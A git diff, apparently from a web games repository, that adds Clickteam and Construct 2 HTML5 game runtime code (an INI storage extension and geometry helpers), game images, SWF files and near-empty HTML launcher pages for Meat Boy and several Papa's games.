+ var pMovement = hoPtr.hoAdRunHeader.GetMBase(hoPtr);
+ if (pMovement)
+ pMovement.CreateBody();
+ }
+ }
+ },
+
+ dirAtStart: function (hoPtr, dirAtStart, dir)
+ {
+ if (dir < 0 || dir >= 32)
+ {
+ var cpt = 0;
+ var das = dirAtStart;
+ var das2;
+ var n;
+ for (n = 0; n < 32; n++)
+ {
+ das2 = das;
+ das >>= 1;
+ if ((das2 & 1) != 0)
+ cpt++;
+ }
+
+ if (cpt == 0)
+ dir = 0;
+ else
+ {
+ cpt = hoPtr.hoAdRunHeader.random(cpt);
+ das = dirAtStart;
+ for (dir = 0; ; dir++)
+ {
+ das2 = das;
+ das >>= 1;
+ if ((das2 & 1) != 0)
+ {
+ cpt--;
+ if (cpt < 0)
+ {
+ break;
+ }
+ }
+ }
+ }
+ }
+ return dir;
+ }
+ }
+
+
+
+
+
+ //----------------------------------------------------------------------------------
+ //
+ // CRUNKCINI : objet INI
+ //
+ //----------------------------------------------------------------------------------
+ /* Copyright (c) 1996-2012 Clickteam
+ *
+ * This source code is part of the HTML5 exporter for Clickteam Multimedia Fusion 2.
+ *
+ * Permission is hereby granted to any person obtaining a legal copy
+ * of Clickteam Multimedia Fusion 2 to use or modify this source code for
+ * debugging, optimizing, or customizing applications created with
+ * Clickteam Multimedia Fusion 2.
+ * Any other use of this source code is prohibited.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+ * IN THE SOFTWARE.
+ */
+ CRunkcini.INI_FULLPATH = 0x0002;
+ CRunkcini.INI_FULLPATHINI_APPFOLDER = 0x0004;
+ CRunkcini.INI_FULLPATHINI_UTF8 = 0x0008;
+ function CRunkcini()
+ {
+ this.ini = null;
+ this.iniFlags = 0;
+ this.iniName = null;
+ this.iniCurrentGroup = null;
+ this.iniCurrentItem = null;
+ this.changeCounter = 0;
+ }
+
+ CRunkcini.prototype = CServices.extend(new CRunExtension(),
+ {
+ getNumberOfConditions: function ()
+ {
+ return 0;
+ },
+ createRunObject: function (file, cob, version)
+ {
+ this.iniFlags = file.readAShort();
+ this.iniName = CServices.parseName(file.readAString());
+ if (this.iniName.length == 0)
+ {
+ this.iniName = "Ini.ini";
+ }
+ var flags = 0;
+ if (this.iniFlags & CRunkcini.INI_FULLPATHINI_UTF8)
+ flags |= CIni.INIFLAG_UTF8;
+ this.ini = new CIni(this.rh.rhApp, flags);
+ this.iniCurrentGroup = "Group";
+ this.iniCurrentItem = "Item";
+ this.changeCounter = 0;
+ return false;
+ },
+ handleRunObject: function ()
+ {
+ if (this.changeCounter > 0)
+ {
+ this.changeCounter--;
+ if (this.changeCounter == 0)
+ {
+ this.ini.saveIni();
+ }
+ }
+ return 0;
+ },
+ destroyRunObject: function (bFast)
+ {
+ this.ini.saveIni();
+ },
+
+ // Actions
+ // -------------------------------------------------
+ action: function (num, act)
+ {
+ switch (num)
+ {
+ case 0:
+ this.SetCurrentGroup(act);
+ break;
+ case 1:
+ this.SetCurrentItem(act);
+ break;
+ case 2:
+ this.SetValue(act);
+ break;
+ case 3:
+ this.SavePosition(act);
+ break;
+ case 4:
+ this.LoadPosition(act);
+ break;
+ case 5:
+ this.SetString(act);
+ break;
+ case 6:
+ this.SetCurrentFile(act);
+ break;
+ case 7:
+ this.SetValueItem(act);
+ break;
+ case 8:
+ this.SetValueGroupItem(act);
+ break;
+ case 9:
+ this.SetStringItem(act);
+ break;
+ case 10:
+ this.SetStringGroupItem(act);
+ break;
+ case 11:
+ this.DeleteItem(act);
+ break;
+ case 12:
+ this.DeleteGroupItem(act);
+ break;
+ case 13:
+ this.DeleteGroup(act);
+ break;
+ }
+ },
+
+ SetCurrentGroup: function (act)
+ {
+ this.iniCurrentGroup = act.getParamExpString(this.rh, 0);
+ },
+
+ SetCurrentItem: function (act)
+ {
+ this.iniCurrentItem = act.getParamExpString(this.rh, 0);
+ },
+
+ SetValue: function (act)
+ {
+ var value = act.getParamExpression(this.rh, 0);
+ var s = value.toString();
+ this.ini.writePrivateProfileString(this.iniCurrentGroup, this.iniCurrentItem, s, this.iniName);
+ this.changeCounter = 10;
+ },
+
+ SavePosition: function (act)
+ {
+ var hoPtr = act.getParamObject(this.rh, 0);
+ var s = hoPtr.hoX.toString() + "," + hoPtr.hoY.toString();
+ var item = "pos." + hoPtr.hoOiList.oilName;
+ this.ini.writePrivateProfileString(this.iniCurrentGroup, item, s, this.iniName);
+ this.changeCounter = 10;
+ },
+
+ LoadPosition: function (act)
+ {
+ var hoPtr = act.getParamObject(this.rh, 0);
+ var item = "pos." + hoPtr.hoOiList.oilName;
+ var s = this.ini.getPrivateProfileString(this.iniCurrentGroup, item, "X", this.iniName);
+ if (s != "X")
+ {
+ var virgule = s.indexOf(",");
+ var left = s.substring(0, virgule);
+ var right = s.substring(virgule + 1);
+ hoPtr.hoX = parseInt(left, 10);
+ if (isNaN(hoPtr.hoX))
+ hoPtr.hoX = 0;
+ hoPtr.hoY = parseInt(right, 10);
+ if (isNaN(hoPtr.hoY))
+ hoPtr.hoY = 0;
+ hoPtr.roc.rcChanged = true;
+ hoPtr.roc.rcCheckCollides = true;
+ }
+ },
+
+ SetString: function (act)
+ {
+ var s = act.getParamExpString(this.rh, 0);
+ this.ini.writePrivateProfileString(this.iniCurrentGroup, this.iniCurrentItem, s, this.iniName);
+ this.changeCounter = 10;
+ },
+
+ SetCurrentFile: function (act)
+ {
+ this.iniName = CServices.parseName(act.getParamExpString(this.rh, 0));
+ },
+
+ SetValueItem: function (act)
+ {
+ var item = act.getParamExpString(this.rh, 0);
+ var value = act.getParamExpression(this.rh, 1);
+ var s = value.toString();
+ this.ini.writePrivateProfileString(this.iniCurrentGroup, item, s, this.iniName);
+ this.changeCounter = 10;
+ },
+
+ SetValueGroupItem: function (act)
+ {
+ var group = act.getParamExpString(this.rh, 0);
+ var item = act.getParamExpString(this.rh, 1);
+ var value = act.getParamExpression(this.rh, 2);
+ var s = value.toString();
+ this.ini.writePrivateProfileString(group, item, s, this.iniName);
+ this.changeCounter = 10;
+ },
+
+ SetStringItem: function (act)
+ {
+ var item = act.getParamExpString(this.rh, 0);
+ var s = act.getParamExpString(this.rh, 1);
+ this.ini.writePrivateProfileString(this.iniCurrentGroup, item, s, this.iniName);
+ this.changeCounter = 10;
+ },
+
+ SetStringGroupItem: function (act)
+ {
+ var group = act.getParamExpString(this.rh, 0);
+ var item = act.getParamExpString(this.rh, 1);
+ var s = act.getParamExpString(this.rh, 2);
+ this.ini.writePrivateProfileString(group, item, s, this.iniName);
+ this.changeCounter = 10;
+ },
+
+ DeleteItem: function (act)
+ {
+ this.ini.deleteItem(this.iniCurrentGroup, act.getParamExpString(this.rh, 0), this.iniName);
+ this.changeCounter = 10;
+ },
+
+ DeleteGroupItem: function (act)
+ {
+ this.ini.deleteItem(act.getParamExpString(this.rh, 0), act.getParamExpString(this.rh, 1), this.iniName);
+ this.changeCounter = 10;
+ },
+
+ DeleteGroup: function (act)
+ {
+ this.ini.deleteGroup(act.getParamExpString(this.rh, 0), this.iniName);
+ this.changeCounter = 10;
+ },
+
+ // Expressions
+ // --------------------------------------------
+ expression: function (num)
+ {
+ switch (num)
+ {
+ case 0:
+ return this.GetValue();
+ case 1:
+ return this.GetString();
+ case 2:
+ return this.GetValueItem();
+ case 3:
+ return this.GetValueGroupItem();
+ case 4:
+ return this.GetStringItem();
+ case 5:
+ return this.GetStringGroupItem();
+ }
+ return null;
+ },
+
+ GetValue: function ()
+ {
+ var s = this.ini.getPrivateProfileString(this.iniCurrentGroup, this.iniCurrentItem, "", this.iniName);
+ var value = 0;
+ value = parseInt(s, 10);
+ if (isNaN(value))
+ value = 0;
+ return (value);
+ },
+
+ GetString: function ()
+ {
+ return this.ini.getPrivateProfileString(this.iniCurrentGroup, this.iniCurrentItem, "", this.iniName);
+ },
+
+ GetValueItem: function ()
+ {
+ var item = this.ho.getExpParam();
+ var s = this.ini.getPrivateProfileString(this.iniCurrentGroup, item, "", this.iniName);
+ var value = parseInt(s, 10);
+ if (isNaN(value))
+ value = 0;
+ return (value);
+ },
+
+ GetValueGroupItem: function ()
+ {
+ var group = this.ho.getExpParam();
+ var item = this.ho.getExpParam();
+ var s = this.ini.getPrivateProfileString(group, item, "", this.iniName);
+ var value = parseInt(s, 10);
+ ;
+ if (isNaN(value))
+ value = 0;
+ return (value);
+ },
+
+ GetStringItem: function ()
+ {
+ var item = this.ho.getExpParam();
+ return this.ini.getPrivateProfileString(this.iniCurrentGroup, item, "", this.iniName);
+ },
+
+ GetStringGroupItem: function ()
+ {
+ var group = this.ho.getExpParam();
+ var item = this.ho.getExpParam();
+ return this.ini.getPrivateProfileString(group, item, "", this.iniName);
+ }
+ });
+
+
+
+ Runtime(__can, __path);
+})
\ No newline at end of file
diff --git a/games/img/cuttheropeholidaygift.png b/games/img/cuttheropeholidaygift.png
new file mode 100644
index 00000000..4de133cc
Binary files /dev/null and b/games/img/cuttheropeholidaygift.png differ
diff --git a/games/img/cuttheropetimetravel.png b/games/img/cuttheropetimetravel.png
new file mode 100644
index 00000000..b080a411
Binary files /dev/null and b/games/img/cuttheropetimetravel.png differ
diff --git a/games/img/meatboy.png b/games/img/meatboy.png
new file mode 100644
index 00000000..081313ac
Binary files /dev/null and b/games/img/meatboy.png differ
diff --git a/games/img/papaspancakeria.png b/games/img/papaspancakeria.png
new file mode 100644
index 00000000..95978f0d
Binary files /dev/null and b/games/img/papaspancakeria.png differ
diff --git a/games/img/papaspastaria.png b/games/img/papaspastaria.png
new file mode 100644
index 00000000..efae376d
Binary files /dev/null and b/games/img/papaspastaria.png differ
diff --git a/games/meatboy/index.html b/games/meatboy/index.html
new file mode 100644
index 00000000..dac3078f
--- /dev/null
+++ b/games/meatboy/index.html
@@ -0,0 +1,32 @@
+
+
+
+ Meat Boy
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/games/meatboy/meatboy.swf b/games/meatboy/meatboy.swf
new file mode 100644
index 00000000..3b6d562e
Binary files /dev/null and b/games/meatboy/meatboy.swf differ
diff --git a/games/papas/papaspancakeria/index.html b/games/papas/papaspancakeria/index.html
new file mode 100644
index 00000000..75f0a616
--- /dev/null
+++ b/games/papas/papaspancakeria/index.html
@@ -0,0 +1,32 @@
+
+
+
+ Papa's Pancakeria
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/games/papas/papaspancakeria/papaspancakeria.swf b/games/papas/papaspancakeria/papaspancakeria.swf
new file mode 100644
index 00000000..a11f8d64
Binary files /dev/null and b/games/papas/papaspancakeria/papaspancakeria.swf differ
diff --git a/games/papas/papaspastaria/index.html b/games/papas/papaspastaria/index.html
new file mode 100644
index 00000000..e5e08ef6
--- /dev/null
+++ b/games/papas/papaspastaria/index.html
@@ -0,0 +1,32 @@
+
+
+
+ Papa's Pastaria
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/games/papas/papaspastaria/papaspastaria.swf b/games/papas/papaspastaria/papaspastaria.swf
new file mode 100644
index 00000000..01cc4ede
Binary files /dev/null and b/games/papas/papaspastaria/papaspastaria.swf differ
diff --git a/games/papas/papassushiria/index.html b/games/papas/papassushiria/index.html
new file mode 100644
index 00000000..57260488
--- /dev/null
+++ b/games/papas/papassushiria/index.html
@@ -0,0 +1,32 @@
+
+
+
+ Papa's Sushiria
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/games/papas/papassushiria/papassushiria.swf b/games/papas/papassushiria/papassushiria.swf
new file mode 100644
index 00000000..10fddcab
Binary files /dev/null and b/games/papas/papassushiria/papassushiria.swf differ
diff --git a/games/redball4/c2runtime.js b/games/redball4/c2runtime.js
new file mode 100644
index 00000000..2c3e8c09
--- /dev/null
+++ b/games/redball4/c2runtime.js
@@ -0,0 +1,39599 @@
+// Generated by Construct 2, the HTML5 game and app creator :: https://www.construct.net
+var cr = {};
+cr.plugins_ = {};
+cr.behaviors = {};
+if (typeof Object.getPrototypeOf !== "function")
+{
+ if (typeof "test".__proto__ === "object")
+ {
+ Object.getPrototypeOf = function(object) {
+ return object.__proto__;
+ };
+ }
+ else
+ {
+ Object.getPrototypeOf = function(object) {
+ return object.constructor.prototype;
+ };
+ }
+}
+(function(){
+ cr.logexport = function (msg)
+ {
+ if (window.console && window.console.log)
+ window.console.log(msg);
+ };
+ cr.logerror = function (msg)
+ {
+ if (window.console && window.console.error)
+ window.console.error(msg);
+ };
+ cr.seal = function(x)
+ {
+ return x;
+ };
+ cr.freeze = function(x)
+ {
+ return x;
+ };
+ cr.is_undefined = function (x)
+ {
+ return typeof x === "undefined";
+ };
+ cr.is_number = function (x)
+ {
+ return typeof x === "number";
+ };
+ cr.is_string = function (x)
+ {
+ return typeof x === "string";
+ };
+ cr.isPOT = function (x)
+ {
+ return x > 0 && ((x - 1) & x) === 0;
+ };
+ cr.nextHighestPowerOfTwo = function(x) {
+ --x;
+ for (var i = 1; i < 32; i <<= 1) {
+ x = x | x >> i;
+ }
+ return x + 1;
+ }
+ cr.abs = function (x)
+ {
+ return (x < 0 ? -x : x);
+ };
+ cr.max = function (a, b)
+ {
+ return (a > b ? a : b);
+ };
+ cr.min = function (a, b)
+ {
+ return (a < b ? a : b);
+ };
+ cr.PI = Math.PI;
+ cr.round = function (x)
+ {
+ return (x + 0.5) | 0;
+ };
+ cr.floor = function (x)
+ {
+ if (x >= 0)
+ return x | 0;
+ else
+ return (x | 0) - 1; // correctly round down when negative
+ };
+ cr.ceil = function (x)
+ {
+ var f = x | 0;
+ return (f === x ? f : f + 1);
+ };
+ function Vector2(x, y)
+ {
+ this.x = x;
+ this.y = y;
+ cr.seal(this);
+ };
+ Vector2.prototype.offset = function (px, py)
+ {
+ this.x += px;
+ this.y += py;
+ return this;
+ };
+ Vector2.prototype.mul = function (px, py)
+ {
+ this.x *= px;
+ this.y *= py;
+ return this;
+ };
+ cr.vector2 = Vector2;
+ cr.segments_intersect = function(a1x, a1y, a2x, a2y, b1x, b1y, b2x, b2y)
+ {
+ var max_ax, min_ax, max_ay, min_ay, max_bx, min_bx, max_by, min_by;
+ if (a1x < a2x)
+ {
+ min_ax = a1x;
+ max_ax = a2x;
+ }
+ else
+ {
+ min_ax = a2x;
+ max_ax = a1x;
+ }
+ if (b1x < b2x)
+ {
+ min_bx = b1x;
+ max_bx = b2x;
+ }
+ else
+ {
+ min_bx = b2x;
+ max_bx = b1x;
+ }
+ if (max_ax < min_bx || min_ax > max_bx)
+ return false;
+ if (a1y < a2y)
+ {
+ min_ay = a1y;
+ max_ay = a2y;
+ }
+ else
+ {
+ min_ay = a2y;
+ max_ay = a1y;
+ }
+ if (b1y < b2y)
+ {
+ min_by = b1y;
+ max_by = b2y;
+ }
+ else
+ {
+ min_by = b2y;
+ max_by = b1y;
+ }
+ if (max_ay < min_by || min_ay > max_by)
+ return false;
+ var dpx = b1x - a1x + b2x - a2x;
+ var dpy = b1y - a1y + b2y - a2y;
+ var qax = a2x - a1x;
+ var qay = a2y - a1y;
+ var qbx = b2x - b1x;
+ var qby = b2y - b1y;
+ var d = cr.abs(qay * qbx - qby * qax);
+ var la = qbx * dpy - qby * dpx;
+ if (cr.abs(la) > d)
+ return false;
+ var lb = qax * dpy - qay * dpx;
+ return cr.abs(lb) <= d;
+ };
+ function Rect(left, top, right, bottom)
+ {
+ this.set(left, top, right, bottom);
+ cr.seal(this);
+ };
+ Rect.prototype.set = function (left, top, right, bottom)
+ {
+ this.left = left;
+ this.top = top;
+ this.right = right;
+ this.bottom = bottom;
+ };
+ Rect.prototype.copy = function (r)
+ {
+ this.left = r.left;
+ this.top = r.top;
+ this.right = r.right;
+ this.bottom = r.bottom;
+ };
+ Rect.prototype.width = function ()
+ {
+ return this.right - this.left;
+ };
+ Rect.prototype.height = function ()
+ {
+ return this.bottom - this.top;
+ };
+ Rect.prototype.offset = function (px, py)
+ {
+ this.left += px;
+ this.top += py;
+ this.right += px;
+ this.bottom += py;
+ return this;
+ };
+ Rect.prototype.normalize = function ()
+ {
+ var temp = 0;
+ if (this.left > this.right)
+ {
+ temp = this.left;
+ this.left = this.right;
+ this.right = temp;
+ }
+ if (this.top > this.bottom)
+ {
+ temp = this.top;
+ this.top = this.bottom;
+ this.bottom = temp;
+ }
+ };
+ Rect.prototype.intersects_rect = function (rc)
+ {
+ return !(rc.right < this.left || rc.bottom < this.top || rc.left > this.right || rc.top > this.bottom);
+ };
+ Rect.prototype.intersects_rect_off = function (rc, ox, oy)
+ {
+ return !(rc.right + ox < this.left || rc.bottom + oy < this.top || rc.left + ox > this.right || rc.top + oy > this.bottom);
+ };
+ Rect.prototype.contains_pt = function (x, y)
+ {
+ return (x >= this.left && x <= this.right) && (y >= this.top && y <= this.bottom);
+ };
+ Rect.prototype.equals = function (r)
+ {
+ return this.left === r.left && this.top === r.top && this.right === r.right && this.bottom === r.bottom;
+ };
+ cr.rect = Rect;
+ function Quad()
+ {
+ this.tlx = 0;
+ this.tly = 0;
+ this.trx = 0;
+ this.try_ = 0; // is a keyword otherwise!
+ this.brx = 0;
+ this.bry = 0;
+ this.blx = 0;
+ this.bly = 0;
+ cr.seal(this);
+ };
+ Quad.prototype.set_from_rect = function (rc)
+ {
+ this.tlx = rc.left;
+ this.tly = rc.top;
+ this.trx = rc.right;
+ this.try_ = rc.top;
+ this.brx = rc.right;
+ this.bry = rc.bottom;
+ this.blx = rc.left;
+ this.bly = rc.bottom;
+ };
+ Quad.prototype.set_from_rotated_rect = function (rc, a)
+ {
+ if (a === 0)
+ {
+ this.set_from_rect(rc);
+ }
+ else
+ {
+ var sin_a = Math.sin(a);
+ var cos_a = Math.cos(a);
+ var left_sin_a = rc.left * sin_a;
+ var top_sin_a = rc.top * sin_a;
+ var right_sin_a = rc.right * sin_a;
+ var bottom_sin_a = rc.bottom * sin_a;
+ var left_cos_a = rc.left * cos_a;
+ var top_cos_a = rc.top * cos_a;
+ var right_cos_a = rc.right * cos_a;
+ var bottom_cos_a = rc.bottom * cos_a;
+ this.tlx = left_cos_a - top_sin_a;
+ this.tly = top_cos_a + left_sin_a;
+ this.trx = right_cos_a - top_sin_a;
+ this.try_ = top_cos_a + right_sin_a;
+ this.brx = right_cos_a - bottom_sin_a;
+ this.bry = bottom_cos_a + right_sin_a;
+ this.blx = left_cos_a - bottom_sin_a;
+ this.bly = bottom_cos_a + left_sin_a;
+ }
+ };
+ Quad.prototype.offset = function (px, py)
+ {
+ this.tlx += px;
+ this.tly += py;
+ this.trx += px;
+ this.try_ += py;
+ this.brx += px;
+ this.bry += py;
+ this.blx += px;
+ this.bly += py;
+ return this;
+ };
+ var minresult = 0;
+ var maxresult = 0;
+ function minmax4(a, b, c, d)
+ {
+ if (a < b)
+ {
+ if (c < d)
+ {
+ if (a < c)
+ minresult = a;
+ else
+ minresult = c;
+ if (b > d)
+ maxresult = b;
+ else
+ maxresult = d;
+ }
+ else
+ {
+ if (a < d)
+ minresult = a;
+ else
+ minresult = d;
+ if (b > c)
+ maxresult = b;
+ else
+ maxresult = c;
+ }
+ }
+ else
+ {
+ if (c < d)
+ {
+ if (b < c)
+ minresult = b;
+ else
+ minresult = c;
+ if (a > d)
+ maxresult = a;
+ else
+ maxresult = d;
+ }
+ else
+ {
+ if (b < d)
+ minresult = b;
+ else
+ minresult = d;
+ if (a > c)
+ maxresult = a;
+ else
+ maxresult = c;
+ }
+ }
+ };
+ Quad.prototype.bounding_box = function (rc)
+ {
+ minmax4(this.tlx, this.trx, this.brx, this.blx);
+ rc.left = minresult;
+ rc.right = maxresult;
+ minmax4(this.tly, this.try_, this.bry, this.bly);
+ rc.top = minresult;
+ rc.bottom = maxresult;
+ };
+ Quad.prototype.contains_pt = function (x, y)
+ {
+ var tlx = this.tlx;
+ var tly = this.tly;
+ var v0x = this.trx - tlx;
+ var v0y = this.try_ - tly;
+ var v1x = this.brx - tlx;
+ var v1y = this.bry - tly;
+ var v2x = x - tlx;
+ var v2y = y - tly;
+ var dot00 = v0x * v0x + v0y * v0y
+ var dot01 = v0x * v1x + v0y * v1y
+ var dot02 = v0x * v2x + v0y * v2y
+ var dot11 = v1x * v1x + v1y * v1y
+ var dot12 = v1x * v2x + v1y * v2y
+ var invDenom = 1.0 / (dot00 * dot11 - dot01 * dot01);
+ var u = (dot11 * dot02 - dot01 * dot12) * invDenom;
+ var v = (dot00 * dot12 - dot01 * dot02) * invDenom;
+ if ((u >= 0.0) && (v > 0.0) && (u + v < 1))
+ return true;
+ v0x = this.blx - tlx;
+ v0y = this.bly - tly;
+ var dot00 = v0x * v0x + v0y * v0y
+ var dot01 = v0x * v1x + v0y * v1y
+ var dot02 = v0x * v2x + v0y * v2y
+ invDenom = 1.0 / (dot00 * dot11 - dot01 * dot01);
+ u = (dot11 * dot02 - dot01 * dot12) * invDenom;
+ v = (dot00 * dot12 - dot01 * dot02) * invDenom;
+ return (u >= 0.0) && (v > 0.0) && (u + v < 1);
+ };
+ Quad.prototype.at = function (i, xory)
+ {
+ if (xory)
+ {
+ switch (i)
+ {
+ case 0: return this.tlx;
+ case 1: return this.trx;
+ case 2: return this.brx;
+ case 3: return this.blx;
+ case 4: return this.tlx;
+ default: return this.tlx;
+ }
+ }
+ else
+ {
+ switch (i)
+ {
+ case 0: return this.tly;
+ case 1: return this.try_;
+ case 2: return this.bry;
+ case 3: return this.bly;
+ case 4: return this.tly;
+ default: return this.tly;
+ }
+ }
+ };
+ Quad.prototype.midX = function ()
+ {
+ return (this.tlx + this.trx + this.brx + this.blx) / 4;
+ };
+ Quad.prototype.midY = function ()
+ {
+ return (this.tly + this.try_ + this.bry + this.bly) / 4;
+ };
+ Quad.prototype.intersects_segment = function (x1, y1, x2, y2)
+ {
+ if (this.contains_pt(x1, y1) || this.contains_pt(x2, y2))
+ return true;
+ var a1x, a1y, a2x, a2y;
+ var i;
+ for (i = 0; i < 4; i++)
+ {
+ a1x = this.at(i, true);
+ a1y = this.at(i, false);
+ a2x = this.at(i + 1, true);
+ a2y = this.at(i + 1, false);
+ if (cr.segments_intersect(x1, y1, x2, y2, a1x, a1y, a2x, a2y))
+ return true;
+ }
+ return false;
+ };
+ Quad.prototype.intersects_quad = function (rhs)
+ {
+ var midx = rhs.midX();
+ var midy = rhs.midY();
+ if (this.contains_pt(midx, midy))
+ return true;
+ midx = this.midX();
+ midy = this.midY();
+ if (rhs.contains_pt(midx, midy))
+ return true;
+ var a1x, a1y, a2x, a2y, b1x, b1y, b2x, b2y;
+ var i, j;
+ for (i = 0; i < 4; i++)
+ {
+ for (j = 0; j < 4; j++)
+ {
+ a1x = this.at(i, true);
+ a1y = this.at(i, false);
+ a2x = this.at(i + 1, true);
+ a2y = this.at(i + 1, false);
+ b1x = rhs.at(j, true);
+ b1y = rhs.at(j, false);
+ b2x = rhs.at(j + 1, true);
+ b2y = rhs.at(j + 1, false);
+ if (cr.segments_intersect(a1x, a1y, a2x, a2y, b1x, b1y, b2x, b2y))
+ return true;
+ }
+ }
+ return false;
+ };
+ cr.quad = Quad;
+ cr.RGB = function (red, green, blue)
+ {
+ return Math.max(Math.min(red, 255), 0)
+ | (Math.max(Math.min(green, 255), 0) << 8)
+ | (Math.max(Math.min(blue, 255), 0) << 16);
+ };
+ cr.GetRValue = function (rgb)
+ {
+ return rgb & 0xFF;
+ };
+ cr.GetGValue = function (rgb)
+ {
+ return (rgb & 0xFF00) >> 8;
+ };
+ cr.GetBValue = function (rgb)
+ {
+ return (rgb & 0xFF0000) >> 16;
+ };
+ cr.shallowCopy = function (a, b, allowOverwrite)
+ {
+ var attr;
+ for (attr in b)
+ {
+ if (b.hasOwnProperty(attr))
+ {
+;
+ a[attr] = b[attr];
+ }
+ }
+ return a;
+ };
+ cr.arrayRemove = function (arr, index)
+ {
+ var i, len;
+ index = cr.floor(index);
+ if (index < 0 || index >= arr.length)
+ return; // index out of bounds
+ for (i = index, len = arr.length - 1; i < len; i++)
+ arr[i] = arr[i + 1];
+ cr.truncateArray(arr, len);
+ };
+ cr.truncateArray = function (arr, index)
+ {
+ arr.length = index;
+ };
+ cr.clearArray = function (arr)
+ {
+ cr.truncateArray(arr, 0);
+ };
+ cr.shallowAssignArray = function (dest, src)
+ {
+ cr.clearArray(dest);
+ var i, len;
+ for (i = 0, len = src.length; i < len; ++i)
+ dest[i] = src[i];
+ };
+ cr.appendArray = function (a, b)
+ {
+ a.push.apply(a, b);
+ };
+ cr.fastIndexOf = function (arr, item)
+ {
+ var i, len;
+ for (i = 0, len = arr.length; i < len; ++i)
+ {
+ if (arr[i] === item)
+ return i;
+ }
+ return -1;
+ };
+ cr.arrayFindRemove = function (arr, item)
+ {
+ var index = cr.fastIndexOf(arr, item);
+ if (index !== -1)
+ cr.arrayRemove(arr, index);
+ };
+ cr.clamp = function(x, a, b)
+ {
+ if (x < a)
+ return a;
+ else if (x > b)
+ return b;
+ else
+ return x;
+ };
+ cr.to_radians = function(x)
+ {
+ return x / (180.0 / cr.PI);
+ };
+ cr.to_degrees = function(x)
+ {
+ return x * (180.0 / cr.PI);
+ };
+ cr.clamp_angle_degrees = function (a)
+ {
+ a %= 360; // now in (-360, 360) range
+ if (a < 0)
+ a += 360; // now in [0, 360) range
+ return a;
+ };
+ cr.clamp_angle = function (a)
+ {
+ a %= 2 * cr.PI; // now in (-2pi, 2pi) range
+ if (a < 0)
+ a += 2 * cr.PI; // now in [0, 2pi) range
+ return a;
+ };
+ cr.to_clamped_degrees = function (x)
+ {
+ return cr.clamp_angle_degrees(cr.to_degrees(x));
+ };
+ cr.to_clamped_radians = function (x)
+ {
+ return cr.clamp_angle(cr.to_radians(x));
+ };
+ cr.angleTo = function(x1, y1, x2, y2)
+ {
+ var dx = x2 - x1;
+ var dy = y2 - y1;
+ return Math.atan2(dy, dx);
+ };
+ cr.angleDiff = function (a1, a2)
+ {
+ if (a1 === a2)
+ return 0;
+ var s1 = Math.sin(a1);
+ var c1 = Math.cos(a1);
+ var s2 = Math.sin(a2);
+ var c2 = Math.cos(a2);
+ var n = s1 * s2 + c1 * c2;
+ if (n >= 1)
+ return 0;
+ if (n <= -1)
+ return cr.PI;
+ return Math.acos(n);
+ };
+ cr.angleRotate = function (start, end, step)
+ {
+ var ss = Math.sin(start);
+ var cs = Math.cos(start);
+ var se = Math.sin(end);
+ var ce = Math.cos(end);
+ if (Math.acos(ss * se + cs * ce) > step)
+ {
+ if (cs * se - ss * ce > 0)
+ return cr.clamp_angle(start + step);
+ else
+ return cr.clamp_angle(start - step);
+ }
+ else
+ return cr.clamp_angle(end);
+ };
+ cr.angleClockwise = function (a1, a2)
+ {
+ var s1 = Math.sin(a1);
+ var c1 = Math.cos(a1);
+ var s2 = Math.sin(a2);
+ var c2 = Math.cos(a2);
+ return c1 * s2 - s1 * c2 <= 0;
+ };
+ cr.rotatePtAround = function (px, py, a, ox, oy, getx)
+ {
+ if (a === 0)
+ return getx ? px : py;
+ var sin_a = Math.sin(a);
+ var cos_a = Math.cos(a);
+ px -= ox;
+ py -= oy;
+ var left_sin_a = px * sin_a;
+ var top_sin_a = py * sin_a;
+ var left_cos_a = px * cos_a;
+ var top_cos_a = py * cos_a;
+ px = left_cos_a - top_sin_a;
+ py = top_cos_a + left_sin_a;
+ px += ox;
+ py += oy;
+ return getx ? px : py;
+ }
+ cr.distanceTo = function(x1, y1, x2, y2)
+ {
+ var dx = x2 - x1;
+ var dy = y2 - y1;
+ return Math.sqrt(dx*dx + dy*dy);
+ };
+ cr.xor = function (x, y)
+ {
+ return !x !== !y;
+ };
+ cr.lerp = function (a, b, x)
+ {
+ return a + (b - a) * x;
+ };
+ cr.unlerp = function (a, b, c)
+ {
+ if (a === b)
+ return 0; // avoid divide by 0
+ return (c - a) / (b - a);
+ };
+ cr.anglelerp = function (a, b, x)
+ {
+ var diff = cr.angleDiff(a, b);
+ if (cr.angleClockwise(b, a))
+ {
+ return a + diff * x;
+ }
+ else
+ {
+ return a - diff * x;
+ }
+ };
+ cr.qarp = function (a, b, c, x)
+ {
+ return cr.lerp(cr.lerp(a, b, x), cr.lerp(b, c, x), x);
+ };
+ cr.cubic = function (a, b, c, d, x)
+ {
+ return cr.lerp(cr.qarp(a, b, c, x), cr.qarp(b, c, d, x), x);
+ };
+ cr.cosp = function (a, b, x)
+ {
+ return (a + b + (a - b) * Math.cos(x * Math.PI)) / 2;
+ };
+ cr.hasAnyOwnProperty = function (o)
+ {
+ var p;
+ for (p in o)
+ {
+ if (o.hasOwnProperty(p))
+ return true;
+ }
+ return false;
+ };
+ cr.wipe = function (obj)
+ {
+ var p;
+ for (p in obj)
+ {
+ if (obj.hasOwnProperty(p))
+ delete obj[p];
+ }
+ };
+ var startup_time = +(new Date());
+ cr.performance_now = function()
+ {
+ if (typeof window["performance"] !== "undefined")
+ {
+ var winperf = window["performance"];
+ if (typeof winperf.now !== "undefined")
+ return winperf.now();
+ else if (typeof winperf["webkitNow"] !== "undefined")
+ return winperf["webkitNow"]();
+ else if (typeof winperf["mozNow"] !== "undefined")
+ return winperf["mozNow"]();
+ else if (typeof winperf["msNow"] !== "undefined")
+ return winperf["msNow"]();
+ }
+ return Date.now() - startup_time;
+ };
+ var isChrome = false;
+ var isSafari = false;
+ var isiOS = false;
